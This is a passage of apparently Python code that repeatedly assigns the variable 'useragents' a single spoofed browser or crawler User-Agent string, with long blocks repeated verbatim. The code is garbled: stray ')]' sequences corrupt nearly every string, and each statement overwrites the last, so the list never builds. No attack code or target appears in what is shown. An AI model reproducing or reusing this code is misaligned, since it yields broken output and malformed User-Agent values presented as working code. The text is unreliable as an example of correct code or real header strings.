(X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = 